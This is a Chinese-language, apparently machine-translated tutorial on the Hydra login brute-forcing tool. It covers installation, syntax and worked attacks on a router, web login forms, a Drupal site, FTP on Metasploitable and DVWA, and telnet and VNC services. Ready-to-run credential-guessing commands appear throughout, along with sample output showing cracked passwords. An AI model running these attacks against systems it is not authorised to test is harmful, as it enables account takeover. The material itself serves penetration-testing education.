Medusa和Hydra快速入門手冊:02
本文是Medusa和Hydra快速入門手冊的第二部分,第一部分的傳送門這兩篇也是後續爆破篇的一部分,至於字典,放在最後,後續會把祖傳的幾十G字典準備好
Hydra入門使用手冊
vanHauser
TheHackersChoicehttp://www.thc.org/thc-hydra
目錄
0x00什麼是Hydra?
0x01Hydra-GTK0x02如何安裝
0x03如何使用Hydra?0x04參考文檔0x05爆破實例0x06免責說明0x07聯繫我們0x08防範措施
0x00什麼是Hydra?
一個非常快速的網路登錄破解程序,支持許多不同的服務。
查看功能集和服務覆蓋頁面-包括與ncrack和medusa的速度比較 當前版本:8.6
最後更新2017-07-21(c)vanHauser/THC的2001-2017
@thc.org; http://www.thc.org
許多模塊都是由David(dot)Maciejak @ gmail(dot)com編寫的
BFG代碼由Jan Dlabal提供
dlabaljan@gmail.com
在AGPLv3下許可(見LICENSE文件)
請不要在軍事或秘密服務機構使用,
或為非法目的。
0x00什麼是Hydra?
首先,歡迎來到THCHydra項目的mini-website。
每個密碼安全研究顯示錶明,最大的安全漏洞之一是密碼。 而九頭蛇是一個並發的登錄破解程序,支持許多協議攻擊。新模塊更容易添加,除此之外,Hydra是靈活和迅速的
Hydra在Linux,Windows/Cygwin,Solaris11,FreeBSD8.1,OpenBSD,OSX,QNX/Blackberry上測試和編譯,並在GPLv3下提供了特殊的OpenSSL許可證擴展。
目前此工具支持:
Asterisk,AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,
HTTP-GET,HTTP-HEAD,HTTP-POST,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-POST,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,RTSP,S7-300,SAP/R3,SIP,SMB,SMTP,SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP.
對於HTTP,POP3,IMAP和SMTP,支持多種登錄機制,如plain和MD5等。
這個工具是一個概念模型,是 為了讓安全員和安全顧問驗證提供一種可能性:從遠程系統到系統的未經授權的訪問是多麼容易。
該程序被寫入了vanHauser,並得到了DavidMaciejak的額外支持。
0x01Hydra-GTK
1.選擇目標,準備爆破
2.選擇爆破ID,爆破字典
3.Hydra結果和輸出
0x02如何安裝
第一部分:下載
1.生產/發布版本:
最新的Hydra的源代碼:hydra-8.6.tar.gz
(在所有基於UNIX的平台上編譯-甚至MacOSX,Windows上的Cygwin,ARM-Linux,Android,iPhone,Blackberry等)
2.發展版本:
您可以下載並編譯當前在GITHUB存儲庫中開源的開發版本的hydra:
https://github.com/vanhauser-thc/thc-hydra
可以選擇:
svn co https://github.com/vanhauser-thc/thc-hydra
或者:
git clone https://github.com/vanhauser-thc/thc-hydra.git
注意這是開發版本!新功能-伴隨著新的bug。可能會導致Hydra無法運行!
1.只有舊版的Hydra才能使用源代碼,只要是v7.x,就可以讓您在不尋常的舊平台上出現問題:
hydra-5.9.1-src.tar.gz
2.Win32/Cywin二進位版本:---不再更新---
從http://www.cygwin.com安裝cygwin並自行編譯。如果您沒有安裝cygwin - 那你將如何通過cygwin做適當的安全測試呢?.
這裡是舊版本的ARM和Palm二進位文件,我們已經不再維護:
ARM:hydra-5.0-arm.tar.gz
Palm:hydra-4.6-palm.zip
第二部分:編譯
Hydra在所有具有gcc-Linux,所有BSD,MacOS/X,Windows,Solaris等上的Cygwin的平台上都可以編譯。
$ tar xvzf hydra-5.7-src.tar.gz
$ cd hydra-5.7-src /
一旦解壓縮,你需要配置Hydra。確保GCC,Make和其他依賴關係被安裝以編譯C程序。配置Hydra使用:
$ ./configure
它甚至可以在舊版本的SunOS,Ultrix等平台進行編譯;Htdra有很多可選模塊,比如用於SSH的庫,SVN等網路協議。
如果有些庫消失了,這些庫可能就是不被您的二進位文件支持。如果您在Linux上,麻煩以下命令,這將安裝所有必需的庫:
Ubuntu / Debian:
apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev
Redhat / Fedora:
yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
OpenSuSE:
zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel
以上所有可選的模塊和功能不包括Oracle,SAPR/3和Apple文件協議-所以您需要從提供源的網站下載和安裝。
對於Oracle,這是(基本安裝和SDK包)的地址:
http : //www.oracle.com/technetwork/database/features/instant-client/index.html
對於所有其他Linux派生和基於BSD的系統,請使用系統軟體安裝程序並查找類似命名庫,如上面的命令。
在所有其他情況下,您就只能手動下載所有源庫並手動編譯;Hydra的配置腳本會告訴您什麼庫是缺失,以及可以從哪裡獲得。
0x03如何使用Hydra
3.1.簡單使用
當你剛剛進入「hydra」,您將看到一個重要的簡短摘要:可用選項輸入「./hydra -h
」以查看所有可用的命令行選項。
請注意,不包括登錄/密碼文件。你需要自己生成它們,或者使用別人已經生成的;然而,默認密碼列表存在,使用「dpl4hydra.sh
」生成一個列表。對於Linux用戶,可以使用GTK gui,嘗試「./xhydra」
對於命令行用法,語法如下:
對於攻擊一個目標或網路,您可以使用新的「://」樣式:
hydra[某些命令行選項]協議://目標:埠/選項
舊模式也可以用於這些,另外如果你想的話,從文本文件中指定目標,你必須使用這個:
hydra[某些命令行選項][-s埠]目標協議選項
通過命令行選項,您可以指定要嘗試的登錄名,哪些密碼,如果使用SSL,需要使用多少個並行任務才能進行攻擊等。PROTOCOL是您要用於攻擊的協議,例如ftp,smtp,http-get或許多其他可用目標都是要攻擊的目標,選項是每個PROTOCOL模塊特殊的可選值。
第一:選擇您的目標
您有三個選項可以指定要攻擊的目標:
1.命令行上的單個目標:只需將IP或DNS地址放入
2.命令行上的網路範圍:CIDR規範如「192.168.0.0/24」
3.文本文件中的主機列表:每個條目一行(見下文)以文本形式形成一份txt文檔
第二:選擇您的協議
嘗試避免telnet,因為檢測到正確或錯誤的登錄嘗試是不可靠的。其次可以使用埠掃描器查看目標上啟用了哪些協議。
第三:檢查模塊是否有可選參數
hydra-U協議:例如hydra-Usmtp
此外:目標埠
目標埠是可以自己選擇的!如果沒有提供默認公用埠,可以自行設置協議的埠;
如果指定要使用SSL(「-S」選項),則默認使用SSL公用埠。如果使用「://」符號,則必須使用「[」「]"括弧去支持IPv6地址或CIDR(「192.168.0.0/24」)爆破:
hydra[一些命令行選項]ftp://[192.168.0.0/24]/
hydra[某些命令行選項]-6smtp://[2001:db8::1]/NTLM
請注意,所有hydra都是IPv4的!如果要攻擊IPv6地址,則必須添加「-6」命令行選項。所有攻擊都將會是IPv6!
如果要通過文本文件提供目標,則不能使用://符號,但使用舊樣式,只提供協議(和模塊選項):
hydra[某些命令行選項]-Mtargets.txtftp
可以在每個目標之後添加「:」,為每個目標條目提供埠,例如:
http://foo.bar.com
http://target.com:21
http://unusual.port.com:2121
http://default.used.here.com
127.0.0.1
127.0.0.1:2121
請注意,如果要附加IPv6目標,則必須提供-6選項,*必須*將IPv6地址放在文件[]中的括弧中,
如下所示:
http://foo.bar.com
http://target.com:21
[FE80::1%的eth0]
[2001::1]
[2002::2]:8080
[2A01:24A:133:0:00:123:FF:1A]
3.2登錄和密碼
有很多關於登錄和密碼攻擊的選項,比如使用-l進行登錄,-p為密碼,請告訴hydra這是唯一的登錄嘗試和/密碼嘗試。
使用-L進行登錄,-P為密碼,您可以提供帶條目的文本文件。
例如:
hydra -l admin -p password ftp:// localhost /
hydra -L default_logins.txt -p test ftp:// localhost /
hydra -l admin -P common_passwords.txt ftp:// localhost /
hydra -L logins.txt -P passwords.txt ftp:// localhost /
此外,您可以通過「-e」選項根據登錄嘗試密碼。「-e」選項有三個參數:
s - 嘗試登錄密碼
n - 嘗試一個空的密碼
r - 反轉登錄並嘗試密碼
如果你想,例如嘗試「嘗試登錄密碼和」空密碼「,你在命令行上指定「-e sn」。但是,嘗試密碼的方式還有兩種:-p /P:
您可以使用文本文件,文本內的登錄名和密碼對由冒號分隔,例如:
管理員:密碼
測試:測試
FOO:酒吧
這是一個常見的默認帳戶樣式列表,也是由dpl4hydra.sh與hydra一起提供的默認帳戶文件生成器生成的。當使用這樣一個文本文件與-C選項 - 請注意,在這種模式下你不能使用-l / -L / -p / -P選項(-e nsr但是可以)
。例:
hydra -C default_accounts.txt ftp:// localhost /
最後,有一個使用-x選項的暴力模式(你不能使用-p / -P / -C
),
使用-x minimum_length:maximum_length:charset
字符集定義是小寫字母的「a」,大寫字母的「A」,「1」的數字和其他任何你提供它是他們的真實代表。
例子:
-x1:3:a將所有小寫字母從長度1到3生成密碼
-x2:5:/將密碼從長度2到5隻包含斜杠-x5:8:A1使用大寫和數字生成長度為5到8的密碼
例:
hydra -l ftp -x 3:3:a ftp:// localhost /
3.3模塊的特殊選擇
通過第三個命令行參數(TARGETSERVICEOPTIONAL)或-m命令行選項,您可以將一個選項傳遞給模塊。許多模塊使用這個,有幾個需要它!要查看模塊的特殊選項,輸入:
hydra -U <module>
例如:
./hydra -U http-post-form
特殊選項可以通過-m參數作為第三個命令行傳遞,選項或服務://target/option格式。
例子(他們其實是一樣的):
./hydra -l test -p test -m PLAIN 127.0.0.1 imap
./hydra -l test -p test 127.0.0.1 imap PLAIN
./hydra -l test -p test imap://127.0.0.1/PLAIN
3.4恢復被破壞/中斷的會話
當Hydra被Control-C中止,死亡或者崩潰時,它會留下「hydra.restore」文件,文件包含所有必要的信息,所以我們可以恢復會話。但要注意該會話文件每5分鐘寫一次。此外:hydra.restore文件不能複製到不同的平台(例如從低位編碼littleendian到高位編碼bigendian,或從solaris系統到aix)
3.5如何掃描/破解代碼
環境變數HYDRA_PROXY_HTTP定義了Web代理(只為http服務!)。
以下語法有效:
HYDRA_PROXY_HTTP = 「http://123.45.67.89:8080/」
HYDRA_PROXY_HTTP = 「HTTP://login:password@123.45.67.89:8080 /」
HYDRA_PROXY_HTTP = 「proxylist.txt」
最後一個例子是一個包含多達64個代理的文本文件(同樣的),格式定義作為其他示例。
對於所有其他服務,請使用HYDRA_PROXY變數進行掃描/破解。它使用相同的語法。例如:
HYDRA_PROXY = [connect | SOCKS4 | SOCKS5]:// [login:password@] proxy_addr:proxy_port
例如:
HYDRA_PROXY =connect://proxy.anonymizer.com:8000
HYDRA_PROXY = SOCKS4:// AUTH:pw@127.0.0.1:1080
HYDRA_PROXY = socksproxylist.txt
3.6額外的提示
*按可能性排序您的密碼文件,並使用-u選項查找密碼更快!
*單擊你的字典文件!這可以節省你很多時間:-)
cat words.txt | sort | uniq > dictionary.txt
*如果您知道目標是使用密碼策略(允許用戶),只能選擇最小長度為6的密碼,至少包含一個密碼,字母和一個數字等使用工具pw-inspector,用hydra包減少密碼列表:
cat dictionary.txt | pw-inspector -m 6 -c 2 -n > passlist.txt
3.7結果輸出
結果輸出到stdio以及其他信息。通過-o命令行選項,結果也可以寫入文件。使用-b,並且可以指定輸出的格式。目前,這些被支持:
*文本-純文本格式
*`jsonv1`-使用版本1.x的JSON數據(定義如下)。
*`json`-JSON數據使用最新版本的模式,目前在那裡只是版本1。
如果使用JSON輸出,結果文件可能不是有效的JSON,如果有的話,Hydra的嚴重錯誤。
###JSONSchema
以下是JSON輸出示例。標記一些參數的注意事項:
*`errormessages`-通常列印的零個或多個字元串的數組在九頭蛇的運行結束時到stderr。文本是非常自由的形式。
*「success」-指示Hydra是否正常運行,是否是沒有錯誤(**NOT**如果檢測到密碼)。該參數是JSON值「true」或「false」取決於是否完成密碼爆破。
*`quantityfound`-發現了多少用戶名+密碼組合。
*`jsonoutputversion`-模式的版本,1.00,1.01,1.11,2.00,2.03等Hydra將使2.0版本從低位跨越雙位元組高位,(而不是只有v1.1vsV1.10)。低版本是不斷疊加的,所以1.02將包含比1.0版本更多欄位去實現向後兼容。版本2.x也將會從1.x版本的輸出去掉一些東西。
1.00的案例:
Version 1.00 example: {
"errormessages": [
"[ERROR] Error Message of Something",
"[ERROR] Another Message",
"These are very free form"
],
"generator": {
"built": "2017-03-01 14:44:22",
"commandline": "hydra -b jsonv1 -o results.json ... ...",
"jsonoutputversion": "1.00",
"server": "127.0.0.1",
"service": "http-post-form",
"software": "Hydra",
"version": "v8.5"
},
"quantityfound": 2,
"results": [
{
"host": "127.0.0.1",
"login": "bill@example.com",
"password": "bill",
"port": 9999,
"service": "http-post-form"
},
{
"host": "127.0.0.1",
"login": "joe@example.com",
"password": "joe",
"port": 9999,
"service": "http-post-form"
}
],
"success": false
}
0x04參考文檔
Hydra帶有一個相當長的README文件來描述,有關使用和特殊選項的詳細信息。當然你也可以參考本文快速入門。
但有時詳細的在線幫助可以大大提高您的效率。
推薦閱讀以下鏈接,部分可能需要梯子,自備哦
安裝:
http://www.madirish.net/content/hydra-brute-force-utility
一般用法和選項:
http://www.aldeid.com/wiki/Thc-hydra
http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/(需要梯子)
HTTP基本認證:
https://www.owasp.org/index.php/TestingforBruteForce%28OWASP-AT-004%29
http://www.sillychicken.co.nz/Security/how-to-brute-force-your -router-in-you-windows.html
基於HTTP表單的auth:
http: //www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydrahttp://insidetrust.blogspot.com/2011/ 08 / using-hydra-to-dictionary-attack-web.html
http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html
https://www.owasp.org/index.php/Testing for Brute Force %28OWASP-AT-004%29
多協議:
http://www.madirish.net/content/hydra-brute-foece-utility
Telnet:
http://www.adeptus-mechanicus.com/codex/bflog/bflog.html
對於那些用DVWA測試的人來說,這就是你想要的:
hydra-ladmin-ppasswordhttp-get-form「/dvwa/login.php:username=^USER^&password=^PASS^&submit=Login:Loginfailed」
以下對參考文檔主要內容的詳細介紹,取其精華,去其糟粕,同樣,也會增加實例到滲透測試:爆破篇,敬請期待
0x05爆破實例
接下來將簡單描述幾個Hydra使用的實例!
實例1.爆破路由器
思路:當你登錄路由器默認管理地址時,使用Hydra爆破
首先,找到你的路由器IP,你應該已經知道了,我的是192.168.1.1,此路由器的默認用戶名為「admin」。如果由於某種原因,不記得密碼了,現讓我們來找回密碼。
然後,打開準備好的Hydra,windows下打開CMD或Powershell打開命令提示符並進入到Hydra目錄
運行下面的命令替換你的值(命令標誌區分大小寫)。
hydra -l {username} -P {password list path} -s {port} {IP Address} http-get /
實際命令如下所示:
hydra -l admin -P password.lst -s 80 192.168.1.1 http-get /
命令分解:
hydra - > hydra程序
-l - >(小寫「L」不要與大寫字母混淆i)單個用戶名到目標。使用大寫-L來指定用戶名列表
-P - >提供密碼list的路徑。-p嘗試單個密碼,即「passw0rd」-s - >埠目標您的路由器可能會運行在不同的埠,如8080{IP地址}這個不用解釋http-get - >暴力破解的服務部分「/」 - >這將指定要定位的頁面,如果這被排除,命令將不會運行。「/」只是表示不包括root「
如果你的字典和Hydra一樣強,你將在輸出行收穫一個用戶名和密碼,這也意味著你成功了!
實例2.爆破HTTP
首先需要確認的幾件事情:
返回頁面
Post參數文本嘗試失敗
返回頁面
這通常與登錄頁面相同,但並不總是如此。所以只需查看頁面的源代碼,並找到一個方法讓表單=「post」。動作值是將被「發布」的頁面的值。正如你可以看到要發布的頁面是「index.php」
Post參數
這些可以通過查看登錄頁面的源代碼來找到。表單中的所有標籤都將被發布。帖子名稱將是標籤的「name」屬性。如果它有一個定義,該值將是「值」屬性。相應的,你可以使用firefox插件Hackbar篡改數據擴展。
文本嘗試失敗
這是登錄嘗試失敗時在網頁上找到的文字。
把它們放在一起:
網站:www.sillychicken.co.nz/administrator/
返回頁面:index.php
返回值是:usrname=(用戶輸入),pass=(用戶輸入),提交=Login
現在,我們從頁面源中提取,嘗試登錄到管理頁面,我們得到一個javascript彈出窗口,其中顯示「用戶名不正確,密碼......」
「不正確的用戶名」聽起來像是不會顯示的文字,如果是一個成功的登錄,我們將使用它。
讓我們將它們全部融入Hydra中:
hydra -l {username} -P {passwordlistpath} -s {port} -f {SiteAddress} http-post-form 「{Path to postback page}:{USERNAME_NAME}=^USER^&{PASSWORD_NAME}=^PASS^:{failedlogintext}「
我的命令看起來像:
hydra -l hydra-Ppassword.list -s 80 -f www.sillychicken.co.nz http-post-form 「/administrator/index.php:usrname=^USER^&pass=^PASS^&submit=Login:Incorrect Username」
命令分析
hydra->hydra程序
-l->(小寫「L」不要與大寫字母混淆i)單個用戶名到目標。使用大寫-L來指定用戶名列表)我已經為此演示設置了「hydra」帳戶,並已被刪除
-P->提供密碼lis的路徑。-p嘗試單個密碼,即「passw0rd」
-s->埠到http的默認埠為80
-f->在第一個匹配後退出程序
{SiteAddress}http://IEwww.sillychicken.com ->不要包含http://
http-post-form->服務到暴力 HydraREADME具有http-form-post的命令,將會發生錯誤
{Pathtopostbackpage}->所有後續站點地址必須以「/」開頭
{USERNAME_NAME}->用戶名回發變數名稱
^USER^->這將被替換為由-l或-L用戶名指定的用戶名
^PASS^->這將被替換為定義的列表中的密碼
{Failedlogintext}->只會在失敗中找到的文本登錄
注意事項:*確保是從http-post-form「到結束命令之後
實例3.爆破Drupal站點
安裝九頭蛇
為了安裝Hydra,首先從http://freeworld.thc.org/releases/hydra-5.7-src.tar.gz下載Hydra源碼 unzip hydra:
$ tar xvzf hydra-5.7-src.tar.gz$ cd hydra-5.7-src /
一旦解壓縮,你需要配置Hydra。確保GCC,Make和其他依賴關係被安裝以編譯C程序。配置Hydra使用:
$ ./configure
Starting hydra auto configuration ...
Checking for openssl (libssl/ssl.h) ...
... NOT found, SSL support disabled
Get it fromhttp://www.openssl.org
Checking for Postgres (libpq.so) ...
... found
Checking for SVN (libsvn_client-1 libapr-0.so libaprutil-0.so) ...
... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...
... NOT found, module firebird disabled
Checking for NCP (libncp.so / nwcalls.h) ...
... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
... NOT found, module sapr3 disabled
Get it fromhttp://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
... NOT found, module ssh2 disabled
Get it fromhttp://www.libssh.org
Checking for GUI reqs (pkg-config) ...
... found
Hydra will be installed into .../bin of: /usr/local
(change this by running ./configure --prefix=path)
Writing Makefile.in ...
now type "make"
這些錯誤意味著某些依賴關係未安裝。你仍然可以使用沒有這些依賴關係的Hydra,但如果沒有這些依賴關係,你將無法使用它們支持的協議。例如,上述錯誤意味著我們將無法執行SSL,SVN,甚至SSH爆破。除了這些常見的協議之外,錯誤表明支持firebird,NCP,SAP都缺少相應的依賴。Firebird是一種資料庫技術。NCP是用於控制NetWare設備的NetWare支持協議,SAP /R3是用於客戶關係類型包(認為結算和業務任務有關)的協議。不支持這些協議,Hydra的實用程序受到嚴格限制,因此你應該努力尋找支持這些功能的軟體包。安裝程序提供了一些有用的鏈接來查找所需的庫。一般來說,如果你搜索[package]-dev或-devel,找到你的發行版的支持庫。
現在在Fedora上使用:
$ sudo yum install subversion-devel openssl-devel libssh-devel firebird-devel ncpfs-devel postgresql-devel gtk2-devel
這應該允許使用除SAP庫之外的所有庫。
一旦安裝了所有依賴項,通過重新運行configure,然後make和最後make install命令。確保作為「make install」命令的特權用戶運行,以便將所需的庫放在文件系統上(即使用「sudo make install」)。
安裝完成後,你可以從命令行使用Hydra或GUI版本的xHydra。使用命令行對於大多數需求是完全足夠的,但是有時GUI是有幫助的。
有效的爆破
暴力攻擊的力量受到攻擊者提供的輸入的限制。當嘗試猜測用戶名和密碼時,有兩個主要的策略:
第一個是嘗試盲目的爆破。為此,攻擊工具會從預定義集合的組合中生成用戶名和密碼。通常這是數字和字母。例如,在盲目爆破攻擊中,系統首先嘗試使用密碼「a」作為用戶「a」登錄。接下來,它嘗試以用戶a登錄,密碼為b等等,循環遍歷所有可能的笛卡爾可能性。這種方法在時間上是非常低效的,但最終將找到有效的憑據。
第二種方法是使用列表作為輸入。為此,將向攻擊工具提供用戶名和密碼列表。然後,該工具將用戶列表中的第一個帳戶和密碼列表中的第一個密碼,依次連續嘗試每個用戶的密碼。這可以通過將可用輸入限制到更小的集合來加快此過程。
暴力攻擊的主要缺點是他們花費的時間很長。然而,通過減少變數,可能會加速暴力攻擊。收集用戶名/密碼樣式認證系統的有效用戶列表將有效用戶的猜測限制,極大地減少了連接嘗試次數。許多服務將以公開有效的用戶帳戶如電子郵件地址或其他顯示數據的形式,提供給Hydra的用戶文件,這樣準確性將大大提高。
用例:爆破Drupal
九頭蛇可以用於許多不同類型的暴力攻擊。Hydra對於老式的爆破工具(如Brutus)的一個優點是其能夠執行HTTP post form攻擊。這允許你使用Hydra來攻擊基於Web的應用程序,甚至是具有反XSRF格式令牌的應用程序。
Hydra的一個潛在用例是測試Drupal用戶名和密碼的強度。例如,如果在http://172.16.46.129/drupal-6.16/中安裝了Drupal站點,我們可以使用任意數量的方法來收集users.txt中有效用戶列表(包括http:// www.madirish.net/?article=443)。一旦我們有一個用戶列表和可能的密碼列表(可能保存為passwords.txt),同時我們需要發現一個最終的組件。Drupal使用令牌保護所有表單(包括登錄表單),因此我們需要在Web瀏覽器中提取目標,查看源代碼並找到令牌組件,例如:
</ ul> </ div> <input type =「hidden」name =「form_build_id」id =「form-6fae72d47e80c07782f8d9f8a92b37ca」value =「form-6fae72d47e80c07782f8d9f8a92b37ca」/>
<input type =「hidden」name =「form_id」id =「edit-user-login-block」value =「user_login_block」/>
注意form_build_id(form-6fae72d47e80c07782f8d9f8a92b37ca)的值,這是我們需要提供的令牌,因此Drupal可以驗證表單的帖子。除了表單令牌之外,你還需要找到表單欄位名稱以及表單後期操作URI。收集所有這些數據後,最後一步是在登錄失敗時找到出現在頁面中的唯一字元串。沒有這個Hydra無法確定登錄嘗試是否成功。默認情況下,Drupal提供字元串「對不起,無法識別的用戶名或密碼」。密碼失敗時。裝備了這最後的信息,我們可以開始一個九頭蛇暴力攻擊:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 http-post-form "/drupal-6.16/node?destination=node:name=^USER^&pass=^PASS^&form_id=user_login_block&form_build_id=form-545eb8f40f49cc07d5cf994f2f7ffe2e:Sorry, unrecognized username or password."
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org
starting at 2010-06-25 11:56:02`
[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task
[DATA] attacking service http-post-form on port 80
[80][www-form] host: 172.16.46.129 login: admin password: password
[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)
Hydra (http://www.thc.org
finished at 2010-06-25 11:56:03`
以上輸出顯示,Hydra使用用戶名「admin」和密碼「password」成功登錄到目標站點。請注意,這兩個值都分別顯示在user.txt和passwords.txt文件中。
Hydra可以用來攻擊一長串協議。例如,使用以下命令可以攻擊上述同一主機上的SSH伺服器:
$ hydra -L users.txt -P passwords.txt 172.16.46.129 ssh2
Hydra v5.7 (c) 2006 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org
starting at 2010-06-25 12:17:35`
[DATA] 16 tasks, 1 servers, 20 login tries (l:4/p:5), ~1 tries per task
[DATA] attacking service ssh2 on port 22
[STATUS] attack finished for 172.16.46.129 (waiting for childs to finish)
[22][ssh2] host: 172.16.46.129 login: admin password: password
Hydra (http://www.thc.org
finished at 2010-06-25 12:17:39`
同樣,此輸出顯示登錄「admin」和密碼「password」可以用於訪問目標上的SSH。
實例4.爆破FTP和Web
1.介紹
當攻擊者想要了解在線系統時,他可以使用字典爆破攻擊。下面簡單介紹了兩種類型的攻擊,並解釋了如何使用Hydra啟動在線字典攻擊。
2.爆破與字典攻擊
攻擊者可以嘗試所有可能的密碼組合(暴力方法)。好處是對獲得正確密碼是有利的。缺點是這是一個非常耗時的過程。
攻擊者可以建立一組連接數字(字典中的示例性模式)的通用字,並嘗試從該集合中的每個組合。這種方法(字典攻擊)可以節省攻擊者的時間,因為他不必強制整個關鍵空間。缺點是不能保證找到正確的密碼。然而,打入正確密碼的可能性是非常好的。
3.環境
Hydra被描述為支持許多服務的網路登錄破解者。下面簡單介紹如何使用Hydra啟動對FTP和Web表單的在線字典攻擊。
Metasploitable是一種基於Linux的漏洞環境虛擬機。例如,它可以用於練習滲透測試技能。請記住,此機器易受攻擊,不應以橋接模式運行。
DVWA(Damn Wulnerable Web Application)是一種有意易受攻擊的Web應用程序。對於那些想要了解Web應用程序安全性的人來說,這是非常棒的環境。DVWA是Metasploitable的一部分。
4.字典
讓我們創建兩個簡短的描述字典。
用戶列表(list_user):
1
23admin_1adminmsfadmin
密碼列表(list_password)
1
234password_1passwordmsfadminpassword_2
有12種組合進行檢查(3個用戶4次密碼)。這些組合包括DVWA登錄表單和Metasploitable FTP(DVWA登錄表單的管理員/密碼; Metasploitable FTP的msfadmin / msfadmin)的默認憑據。
5.Metasploitable字典攻擊FTP
使用以下命令啟動攻擊:
dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 ftp -V
使用上述字典(list_user和list_password)。Metasploitable FTP伺服器的IP地址為192.168.56.101。這就是為什麼在命令中使用ftp模塊。應該使用-V來查看每次嘗試的用戶名和密碼。
如下所示,Hydra已經找到一對有效的用戶名和密碼(用戶名:msfadmin,password:msfadmin)。
6.DVWA詞典攻擊Web登錄表單
使用以下命令啟動攻擊:
dawid@lab:~$ hydra -L list_user -P list_password 192.168.56.101 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
上述字典(list_user和list_password)再次被使用。DVWA的IP地址為192.168.56.101。DVWA的登錄表單可以在192.168.56.101/dvwa/login.php的Metasploitable中找到。當用戶登錄時,生成以下請求(由Burp Suite 攔截):
關鍵部分標記在屏幕截圖上。它們是http-post-form模塊參數的值:
"/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed"
^ USER ^和^ PASS ^分別替換為用戶名(來自list_user)和密碼(list_password)。當登錄嘗試失敗時,伺服器將以「登錄失敗」消息進行響應,該消息是最後一個參數的值。
最後,應該使用-V來查看每次嘗試的用戶名和密碼。
如下所示,Hydra已經找到一對有效的用戶名和密碼(用戶名:admin,password:password)。
7.總結
本文介紹了兩種類型的在線密碼攻擊(爆破,字典),並介紹了如何使用Hydra對FTP和Web表單啟動在線字典攻擊。Hydra是一個支持許多服務的網路登錄破解者
[1]。Metasploitable可用於實踐滲透測試技能
[2]。DVWA(Damn Wulnerable Web Application)對於那些想要使用Web應用程序安全性的人來說是有幫助的。
參考文獻:
Hydra
http://www.thc.org/thc-hydra/
[2] Metasploitable
http://www.offensive-security.com/metasploit-unleashed/Metasploitable
[3] DVWA(Damn Wulnerable Web Application)
http://www.dvwa.co.uk/
[4] Burp suite
http://portswigger.net/burp/
實例5.爆破Telnet
爆破是一個相當簡單的思維,也是一個非常強大的想法。簡單地說這是什麼意思 攻擊者將嘗試每個可能的字元組合,以嘗試猜測你的密碼/密鑰等。這是為什麼密碼很重要的原因之一,因為爆破攻擊會找到你的密碼,你需要確保密碼爆破在所需時間使其在技術上不可行。我們也簡要地看了一下使用爆破來破解你所擁有的密碼文件,但是這次我爆破一些登錄服務。
憂慮
這兩個主要原因是:
許多公司通過其防火牆允許一些服務,無論是ftp,pop3,ssh甚至網頁登錄到某個地方。所有這些都可以是爆破的。此外,這樣做的工具易於使用和獲取。
爆破的基本概念有所改變。許多爆破工具允許你指定密碼或用戶名列表。這是因為使用這些比傳統的爆破更快。但是使用現代的硬碟驅動器大小和方法(彩虹表,組合攻擊等),使用所有可能的字元組合創建一個文件是非常可行的,使用這樣一個文件會減少運行這種攻擊所需的時間。
使用linux系統進行爆破
讓我展現出一個可以在linux和相關係統上使用的實用程序 - Hydra。
該軟體來自THC,它是一個非常有用的基於命令行的程序,可以處理許多不同的協議。這是從4.6版本我正在使用的列表
支持的協議:[telnet ftp pop3 imap smb smbnt http https http-proxy cisco cisco-enable ldap2 ldap3 mssql mysql nntp vnc socks5 rexec snmp cvs icq pcnfs sapr3 ssh2 smtp-auth teamspeak]
讓我們從一個簡單的服務開始 - telnet ..
# hydra -L ./users -P ./pass -e ns -t 1 10.0.0.50 telnet -v
Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-12-28 17:39:08
[DATA] 1 tasks, 1 servers, 64 login tries (l:8/p:8), ~64 tries per task
[DATA] attacking service telnet on port 23
[23][telnet] host: 10.0.0.50 login: easy password: 12345
[STATUS] 16.00 tries/min, 16 tries in 00:01h, 48 todo in 00:04h
[23][telnet] host: 10.0.0.50 login: public password: joe
[STATUS] 18.50 tries/min, 37 tries in 00:02h, 27 todo in 00:02h
[23][telnet] host: 10.0.0.50 login: sue password: joe
[STATUS] attack finished for 10.0.0.50 (waiting for childs to finish)
Hydra (http://www.thc.org) finished at 2005-12-28 17:42:08
現在首先,這個伺服器有一些很簡單的密碼和用戶名設置(你可以看到),現在看看我使用的交換機..
-L,指定用戶名列表,注意大小寫不同
-P,指定密碼列表-e,嘗試null和相同(與用戶名相同)密碼-t,以指定要運行的parralel進程的數量
那麼目標IP和服務
-v,用於詳細
讓我們嘗試運行它與常用的東西..
# hydra -l "" -P ./pass -e n -t 1 10.0.0.100 vnc -V
Hydra v4.6 (c) 2005 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2005-12-28 17:49:28
[DATA] 1 tasks, 1 servers, 8 login tries (l:1/p:8), ~8 tries per task
